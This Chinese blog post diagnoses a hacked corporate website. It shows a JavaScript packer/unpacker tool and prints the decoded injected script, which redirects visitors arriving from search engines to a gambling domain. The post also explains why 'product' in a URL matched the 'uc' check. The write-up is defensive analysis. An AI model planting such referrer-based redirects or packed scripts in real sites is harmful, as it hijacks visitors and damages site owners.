問題描述:點擊一個網站的鏈接,打開新頁面結果跳轉到垃圾廣告頁面
,點擊企業官網后,並沒有跳轉到企業官網,而是跳轉到一個澳門賭場的頁面,但是直接在瀏覽器輸入網址訪問是可以正常訪問的。
經過排查發現是,企業官網被注入了一段js代碼,點擊查看源代碼截圖如下:
這是一段經過加密的js代碼
使用一下解密方式解密:js解密代碼

<script> a=62; function encode() { var code = document.getElementById('code').value; code = code.replace(/[ ]+/g, ''); code = code.replace(/'/g, "\'"); var tmp = code.match(/(w+)/g); tmp.sort(); var dict = []; var i, t = ''; for(var i=0; i<tmp.length; i++) { if(tmp[i] != t) dict.push(t = tmp[i]); } var len = dict.length; var ch; for(i=0; i<len; i++) { ch = num(i); code = code.replace(new RegExp('\b'+dict[i]+'\b','g'), ch); if(ch == dict[i]) dict[i] = ''; } document.getElementById('code').value = "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}(" + "'"+code+"',"+a+","+len+",'"+ dict.join('|')+"'.split('|'),0,{}))"; } function num(c) { return(c<a?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36)); } function run() { eval(document.getElementById('code').value); } function decode() { var code = document.getElementById('code').value; code2 = code.replace(/^eval/, ''); //alert(code); document.getElementById('code').value = eval(code2); } </script> <textarea id=code cols=80 rows=20> </textarea> <input type=button onclick=encode() value="編碼"> <input type=button onclick=run() value="執行"> <input type=button onclick=decode() value="解碼">
點擊解碼后展示如下:
經過整理,其實是這樣一串代碼

<script LANGUAGE="Javascript"> var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 ) location.href="https://www.b99655.com/"; </script>
意思是當訪問企業官網的網址中帶有baidu或者uc或者so的時候,就自動跳轉到新的頁面。解釋
因為當前頁面的url是http://www.xxx.html/product/8818.html 里面有product被認為是uc所以,當我們從這個頁面訪問的時候就自動跳轉到被注入的代碼的網址中去了。